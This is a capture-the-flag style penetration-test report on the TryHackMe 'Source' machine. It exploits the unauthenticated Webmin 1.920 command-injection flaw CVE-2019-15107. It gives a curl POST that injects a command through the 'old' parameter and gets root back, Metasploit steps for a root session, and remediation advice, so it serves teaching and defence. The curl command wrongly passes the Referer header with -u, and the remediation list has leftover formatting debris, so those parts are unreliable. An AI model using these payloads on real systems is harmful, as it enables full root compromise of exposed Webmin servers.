

Penetration Testing Report: TryHackMe "Source"

Executive Summary

This report documents the security assessment and penetration test of the target machine **Source** hosted on TryHackMe. The target was discovered to be running an outdated instance of **Webmin** (v1.920) on port 10000. Due to a critical, unauthenticated Remote Code Execution (RCE) vulnerability (**CVE-2019-15107**), an attacker can execute arbitrary commands with **root** privileges.

The assessment concluded with a full system compromise, securing both user and administrative flags without requiring prior authentication credentials.

Engagement Scope & Target Profile

Target Metric	Details
Target OS	Linux (Ubuntu/Debian-based)
Identified Service	Webmin version 1.920
Key Vulnerability	CVE-2019-15107 (Unauthenticated OS Command Injection)
Risk Rating	Critical (CVSS v3.1: 9.8)
Impact	Complete system compromise (Direct root access)

Attack Path Analysis

Phase 1: Reconnaissance (Nmap Scan)

An active reconnaissance scan was performed using **nmap** to identify open ports, active services, and system versions.

Bash

```
nmap -sV -sC -p- -T4 <TARGET_IP>
```

Scan Results:

- **Port 22/tcp:** SSH (Open - OpenSSH)
- **Port 10000/tcp:** HTTP (Open - MiniServ/Webmin v1.920)

Key Finding: Accessing http://<TARGET_IP>:10000 redirects to an SSL-enabled site (https://<TARGET_IP>:10000). The Webmin version was identified as **1.920**, which is notoriously vulnerable.

Phase 2: Vulnerability Identification

Webmin versions **1.890 through 1.920** contain a backdoor / command injection flaw in the [password_change.cgi](#) component.

- **CVE ID:** CVE-2019-15107
- **Vulnerability Mechanism:** The **old** parameter in the password reset function fails to sanitize user input before passing it to a system shell execution function. Because Webmin's **miniserv** process runs as **root**, any injected commands execute with administrative privileges immediately.

Phase 3: Exploitation & System Compromise

Because the vulnerability is unauthenticated, exploitation can be performed via manual execution ([curl](#)) or utilizing public automated frameworks.

Method A: Manual Exploitation (Exploit Payload)

A crafted **POST** request sent directly to the [/password_change.cgi](#) endpoint triggers command execution.

Bash

```
curl -k -u 'Referer: https://<TARGET_IP>:10000/' \  
-d 'user=root&pam=&expired=2&old=test|whoami&new1=test&new2=test' \  
https://<TARGET_IP>:10000/password_change.cgi
```

Output Payload Response:

Plaintext

root

*Note: Adding a semicolon or pipe (|) inside the **old** parameter allows execution of arbitrary payloads. A reverse shell payload can be executed here to establish an interactive shell.*

Method B: Metasploit Framework

Alternatively, the exploit is automated using Metasploit's auxiliary/exploit modules.

1. Initialize Metasploit: `msfconsole`
2. Select module: `use exploit/linux/http/webmin_backdoor`
3. Configure parameters:
 - `SET RHOSTS <TARGET_IP>`
 - `SET LHOST <YOUR_VPN_IP>`
 - `SET SSL true`
4. Execute: `exploit`

This establishes a direct `root` meterpreter session.

Post-Exploitation & Flag Retrieval

Because the exploit yields direct `root` access, privilege escalation is unnecessary.

- **User Flag Location:** `/home/dark/user.txt`
- **Root Flag Location:** `/root/root.txt`

Remediation & Mitigation

To secure the target machine against this critical flaw, implement the following mitigations:

1. **Upgrade Webmin:** Immediately upgrade Webmin to version **1.930** or higher, which completely patches the vulnerable code block.
2. **Disable Password Resets:** If upgrading is temporarily delayed, disable the user password change feature in Webmin's configuration file (`/etc/webmin/miniserv.conf`) by adding or editing:
3. `Ini, TOML`

`passwd_mode=0`

- 4.
5. **Network Access Control:** Restrict access to port `10000` using local host firewalls (`ufw` or `iptables`) to only allow traffic from trusted administrative IP addresses.